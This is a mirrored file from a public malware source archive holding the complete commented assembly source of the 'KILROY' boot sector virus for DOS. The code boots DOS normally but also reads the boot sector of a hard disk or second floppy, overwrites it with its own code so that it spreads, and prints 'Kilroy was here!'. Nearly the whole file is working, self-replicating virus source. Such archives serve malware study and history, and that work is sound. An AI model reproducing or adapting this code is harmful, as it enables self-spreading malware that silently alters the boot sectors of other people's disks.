mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
315 lines
17 KiB
NASM
315 lines
17 KiB
NASM
;The KILROY one-sector boot sector virus will both boot up either MS-DOS or
|
||
;PC-DOS and it will infect other disks.
|
||
|
||
;This segment is where the first operating system file (IBMBIO.COM or IO.SYS)
|
||
;will be loaded and executed from. We don't know (or care) what is there, but
|
||
;we do need the address to jump to defined in a separate segment so we can
|
||
;execute a far jump to it.
|
||
DOS_LOAD SEGMENT AT 0070H
|
||
ASSUME CS:DOS_LOAD
|
||
|
||
ORG 0
|
||
|
||
LOAD: DB 0 ;Start of the first operating system program
|
||
|
||
DOS_LOAD ENDS
|
||
|
||
|
||
MAIN SEGMENT BYTE
|
||
ASSUME CS:MAIN,DS:MAIN,SS:NOTHING
|
||
|
||
;This jump instruction is just here so we can compile this program as a COM
|
||
;file. It is never actually executed, and never becomes a part of the boot
|
||
;sector. Only the 512 bytes after the address 7C00 in this file become part of
|
||
;the boot sector.
|
||
ORG 100H
|
||
|
||
START: jmp BOOTSEC
|
||
|
||
;The following two definitions are BIOS RAM bytes which contain information
|
||
;about the number and type of disk drives in the computer. These are needed by
|
||
;the virus to decide on where to look to find drives to infect. They are not
|
||
;normally needed by an ordinary boot sector.
|
||
|
||
ORG 0410H
|
||
|
||
SYSTEM_INFO: DB ? ;System info byte: Take bits 6 & 7 and add 1 to get number of
|
||
;disk drives on this system (eg 01 = 2 drives)
|
||
|
||
ORG 0475H
|
||
|
||
HD_COUNT: DB ? ;Number of hard drives in the system
|
||
|
||
;This area is reserved for loading the boot sector from the disk which is going
|
||
;to be infected, as well as the first sector of the root directory, when
|
||
;checking for the existence of system files and loading the first system file.
|
||
|
||
ORG 0500H
|
||
|
||
DISK_BUF: DW ? ;Start of the buffer
|
||
|
||
ORG 06FEH
|
||
|
||
NEW_ID: DW ? ;Location of AA55H in boot sector loaded at DISK_BUF
|
||
|
||
;Here is the start of the boot sector code. This is the chunk we will take out
|
||
;of the compiled COM file and put it in the first sector on a 360K floppy disk.
|
||
;Note that this MUST be loaded onto a 360K floppy to work, because the
|
||
;parameters in the data area that follow are set up to work only with a 360K
|
||
;disk!
|
||
|
||
ORG 7C00H
|
||
|
||
BOOTSEC: JMP BOOT ;Jump to start of boot sector code
|
||
|
||
ORG 7C03H ;This is needed because the jump will get coded as 2 bytes
|
||
|
||
DOS_ID: DB 'KILROY ' ;Name of this boot sector (8 bytes)
|
||
SEC_SIZE: DW 200H ;Size of a sector, in bytes
|
||
SECS_PER_CLUST: DB 02 ;Number of sectors in a cluster
|
||
FAT_START: DW 1 ;Starting sector for the first File Allocation Table (FAT)
|
||
FAT_COUNT: DB 2 ;Number of FATs on this disk
|
||
ROOT_ENTRIES: DW 70H ;Number of root directory entries
|
||
SEC_COUNT: DW 2D0H ;Total number of sectors on this disk
|
||
DISK_ID: DB 0FDH ;Disk type code (This is 360KB)
|
||
SECS_PER_FAT: DW 2 ;Number of sectors per FAT
|
||
SECS_PER_TRK: DW 9 ;Sectors per track for this drive
|
||
HEADS: DW 2 ;Number of heads (sides) on this drive
|
||
HIDDEN_SECS: DW 0 ;Number of hidden sectors on the disk
|
||
|
||
DSKBASETBL:
|
||
DB 0 ;Specify byte 1: step rate time, head unload time
|
||
DB 0 ;Specify byte 2: Head load time, DMA mode
|
||
DB 0 ;Wait time until motor turned off, in clock ticks
|
||
DB 0 ;Bytes per sector (0=128, 1=256, 2=512, 3=1024)
|
||
DB 12H ;Last sector number (we make it large enough to handle 1.2/1.44 MB floppies)
|
||
DB 0 ;Gap length between sectors for r/w operations, in bytes
|
||
DB 0 ;Data transfer length when sector length not specified
|
||
DB 0 ;Gap length between sectors for format operations, in bytes
|
||
DB 0 ;Value stored in newly formatted sectors
|
||
DB 1 ;Head settle time, in milliseconds (we set it small to speed operations)
|
||
DB 0 ;Motor startup time, in 1/8 seconds
|
||
|
||
HEAD: DB 0 ;Current head to read from (scratch area used by boot sector)
|
||
|
||
;Here is the start of the boot sector code
|
||
|
||
BOOT: CLI ;interrupts off
|
||
XOR AX,AX ;prepare to set up segments
|
||
MOV ES,AX ;set ES=0
|
||
MOV SS,AX ;start stack at 0000:7C00
|
||
MOV SP,OFFSET BOOTSEC
|
||
MOV BX,1EH*4 ;get address of disk
|
||
LDS SI,SS:[BX] ;param table in ds:si
|
||
PUSH DS
|
||
PUSH SI ;save that address
|
||
PUSH SS
|
||
PUSH BX ;and its address
|
||
|
||
MOV DI,OFFSET DSKBASETBL ;and update default
|
||
MOV CX,11 ;values to the table stored here
|
||
CLD ;direction flag cleared
|
||
DFLT1: LODSB
|
||
CMP BYTE PTR ES:[DI],0 ;anything non-zero
|
||
JNZ SHORT DFLT2 ;is not a default, so don't save it
|
||
STOSB ;else put default value in place
|
||
JMP SHORT DFLT3 ;and go on to next
|
||
DFLT2: INC DI
|
||
DFLT3: LOOP DFLT1 ;and loop until cx=0
|
||
|
||
MOV AL,AH ;set ax=0
|
||
MOV DS,AX ;set ds=0 so we can set disk tbl
|
||
MOV WORD PTR [BX+2],AX ;to @DSKBASETBL (ax=0 here)
|
||
MOV WORD PTR [BX],OFFSET DSKBASETBL ;ok, done
|
||
STI ;now turn interrupts on
|
||
INT 13H ;and reset disk drive system
|
||
ERROR1: JC ERROR1 ;if an error, hang the machine
|
||
|
||
;Attempt to self reproduce. If this boot sector is located on drive A, it will
|
||
;attempt to relocate to drive C. If successful, it will stop, otherwise it will
|
||
;attempt to relocate to drive B. If this boot sector is located on drive C, it
|
||
;will attempt to relocate to drive B.
|
||
SPREAD:
|
||
CALL DISP_MSG ;Display the "Kilroy was here!" message
|
||
MOV BX,OFFSET DISK_BUF ;read other boot sectors into this buffer
|
||
CMP BYTE PTR [DRIVE],80H
|
||
JZ SPREAD2 ;if it's C, go try to spread to B
|
||
MOV DX,180H ;if it's A, try to spread to C first, try Head 1
|
||
CMP BYTE PTR [HD_COUNT],0 ;see if there is a hard drive
|
||
JZ SPREAD2 ;none - try floppy B
|
||
MOV CX,1 ;read Track 0, Sector 1
|
||
MOV AX,201H
|
||
INT 13H
|
||
JC SPREAD2 ;on error, go try drive B
|
||
CMP WORD PTR [NEW_ID],0AA55H ;make sure it really is a boot sector
|
||
JNZ SPREAD2
|
||
CALL MOVE_DATA
|
||
MOV DX,180H ;and go write the new sector
|
||
MOV CX,1
|
||
MOV AX,301H
|
||
INT 13H
|
||
JC SPREAD2 ;if an error writing to C:, try infecting B:
|
||
JMP SHORT LOOK_SYS ;if no error, go look for system files
|
||
SPREAD2: MOV AL,BYTE PTR [SYSTEM_INFO] ;first see if there is a B drive
|
||
AND AL,0C0H
|
||
ROL AL,1 ;put bits 6 & 7 into bits 0 & 1
|
||
ROL AL,1
|
||
INC AL ;add one, so now AL=# of drives
|
||
CMP AL,2
|
||
JC LOOK_SYS ;no B drive, just quit
|
||
MOV DX,1 ;read drive B
|
||
MOV AX,201H ;read one sector
|
||
MOV CX,1 ;read Track 0, Sector 1
|
||
INT 13H
|
||
JC LOOK_SYS ;if an error here, just exit
|
||
CMP WORD PTR [NEW_ID],0AA55H ;make sure it really is a boot sector
|
||
JNZ LOOK_SYS ;no, don't attempt reproduction
|
||
CALL MOVE_DATA ;yes, move this boot sector in place
|
||
MOV DX,1
|
||
MOV AX,301H ;and write this boot sector to drive B
|
||
MOV CX,1
|
||
INT 13H
|
||
|
||
;Here we look at the first file on the disk to see if it is the first MS-DOS or
|
||
;PC-DOS system file, IO.SYS or IBMBIO.COM, respectively.
|
||
LOOK_SYS:
|
||
MOV AL,BYTE PTR [FAT_COUNT] ;get fats per disk
|
||
XOR AH,AH
|
||
MUL WORD PTR [SECS_PER_FAT] ;multiply by sectors per fat
|
||
ADD AX,WORD PTR [HIDDEN_SECS] ;add hidden sectors
|
||
ADD AX,WORD PTR [FAT_START] ;add starting fat sector
|
||
|
||
PUSH AX
|
||
MOV WORD PTR [DOS_ID],AX ;root dir, save it
|
||
|
||
MOV AX,20H ;dir entry size
|
||
MUL WORD PTR [ROOT_ENTRIES] ;dir size in ax
|
||
MOV BX,WORD PTR [SEC_SIZE] ;sector size
|
||
ADD AX,BX ;add one sector
|
||
DEC AX ;decrement by 1
|
||
DIV BX ;ax=# sectors in root dir
|
||
ADD WORD PTR [DOS_ID],AX ;DOS_ID=start of data
|
||
MOV BX,OFFSET DISK_BUF ;set up disk read buffer at 0000:0500
|
||
POP AX
|
||
CALL CONVERT ;and go convert sequential sector number to bios data
|
||
MOV AL,1 ;prepare for a disk read for 1 sector
|
||
CALL READ_DISK ;go read it
|
||
|
||
MOV DI,BX ;compare first file on disk with
|
||
MOV CX,11 ;required file name
|
||
MOV SI,OFFSET SYSFILE_1 ;of first system file for PC DOS
|
||
REPZ CMPSB
|
||
JZ SYSTEM_THERE ;ok, found it, go load it
|
||
|
||
MOV DI,BX ;compare first file with
|
||
MOV CX,11 ;required file name
|
||
MOV SI,OFFSET SYSFILE_2 ;of first system file for MS DOS
|
||
REPZ CMPSB
|
||
ERROR2: JNZ ERROR2 ;not the same - an error, so hang the machine
|
||
|
||
;Ok, system file is there, so load it
|
||
SYSTEM_THERE:
|
||
MOV AX,WORD PTR [DISK_BUF+1CH] ;get file size of IBMBIO.COM/IO.SYS
|
||
XOR DX,DX
|
||
DIV WORD PTR [SEC_SIZE] ;and divide by sector size
|
||
INC AL ;ax=number of sectors to read
|
||
MOV BP,AX ;store that number in BP
|
||
MOV AX,WORD PTR [DOS_ID] ;get sector number of start of data
|
||
PUSH AX
|
||
MOV BX,700H ;set disk read buffer to 0000:0700
|
||
RD_BOOT1: MOV AX,WORD PTR [DOS_ID] ;and get sector to read
|
||
CALL CONVERT ;convert to bios Trk/Cyl/Sec info
|
||
MOV AL,1 ;read one sector
|
||
CALL READ_DISK ;go read the disk
|
||
SUB BP,1 ;subtract 1 from number of sectors to read
|
||
JZ DO_BOOT ;and quit if we're done
|
||
ADD WORD PTR [DOS_ID],1 ;add sectors read to sector to read
|
||
ADD BX,WORD PTR [SEC_SIZE] ;and update buffer address
|
||
JMP RD_BOOT1 ;then go for another
|
||
|
||
|
||
;Ok, the first system file has been read in, now transfer control to it
|
||
DO_BOOT:
|
||
MOV CH,BYTE PTR [DISK_ID] ;Put drive type in ch
|
||
MOV DL,BYTE PTR [DRIVE] ;Drive number in dl
|
||
POP BX
|
||
; JMP FAR PTR LOAD ;use the nicer far jump if compiling with MASM or TASM
|
||
MOV AX,0070H ;A86 is too stupid to handle that,
|
||
PUSH AX ;so let's fool it with a far return
|
||
XOR AX,AX
|
||
PUSH AX
|
||
RETF
|
||
|
||
|
||
;Convert sequential sector number in ax to BIOS Track, Head, Sector information.
|
||
;Save track number in DX, sector number in CH,
|
||
CONVERT:
|
||
XOR DX,DX
|
||
DIV WORD PTR [SECS_PER_TRK] ;divide ax by sectors per track
|
||
INC DL ;dl=sector number to start read on, al=track/head count
|
||
MOV CH,DL ;save it here
|
||
XOR DX,DX
|
||
DIV WORD PTR [HEADS] ;divide ax by head count
|
||
MOV BYTE PTR [HEAD],DL ;dl=head number, save it
|
||
MOV DX,AX ;ax=track number, save it in dx
|
||
RET
|
||
|
||
|
||
;Read the disk for the number of sectors in al, into the buffer es:bx, using
|
||
;the track number in DX, the head number at HEAD, and the sector
|
||
;number at CH.
|
||
READ_DISK:
|
||
MOV AH,2 ;read disk command
|
||
MOV CL,6 ;shift possible upper 2 bits of track number to
|
||
SHL DH,CL ;the high bits in dh
|
||
OR DH,CH ;and put sector number in the low 6 bits
|
||
MOV CX,DX
|
||
XCHG CH,CL ;ch (0-5) = sector, cl, ch (6-7) = track
|
||
MOV DL,BYTE PTR [DRIVE] ;get drive number from here
|
||
MOV DH,BYTE PTR [HEAD] ;and head number from here
|
||
INT 13H ;go read the disk
|
||
ERROR3: JC ERROR3 ;hang in case of an error
|
||
RET
|
||
|
||
;Move data that doesn't change from this boot sector to the one read in at
|
||
;DISK_BUF. That includes everything but the DRIVE ID (at offset 7DFDH) and
|
||
;the data area at the beginning of the boot sector.
|
||
MOVE_DATA:
|
||
MOV SI,OFFSET DSKBASETBL ;Move all of the boot sector code after the data area
|
||
MOV DI,OFFSET DISK_BUF + (OFFSET DSKBASETBL - OFFSET BOOTSEC)
|
||
MOV CX,OFFSET DRIVE - OFFSET DSKBASETBL
|
||
REP MOVSB
|
||
MOV SI,OFFSET BOOTSEC ;Move the initial jump and the sector ID
|
||
MOV DI,OFFSET DISK_BUF
|
||
MOV CX,11
|
||
REP MOVSB
|
||
RET
|
||
|
||
;Display the null terminated string at MESSAGE.
|
||
DISP_MSG:
|
||
MOV SI,OFFSET MESSAGE ;set offset of message up
|
||
DM1: MOV AH,0EH ;Execute BIOS INT 10H, Fctn 0EH (Display Char)
|
||
LODSB ;get character to display
|
||
OR AL,AL
|
||
JZ DM2 ;repeat until 0
|
||
INT 10H ;display it
|
||
JMP SHORT DM1 ;and get another
|
||
DM2: RET
|
||
|
||
|
||
SYSFILE_1: DB 'IBMBIO COM' ;PC DOS System file
|
||
SYSFILE_2: DB 'IO SYS' ;MS DOS System file
|
||
MESSAGE: DB 'Kilroy was here!',0DH,0AH,0AH,0
|
||
|
||
ORG 7DFDH
|
||
|
||
DRIVE: DB 0 ;Disk drive (A or C) for this sector
|
||
|
||
BOOT_ID: DW 0AA55H ;Boot sector ID word
|
||
|
||
|
||
MAIN ENDS
|
||
|
||
|
||
END START
|
||
|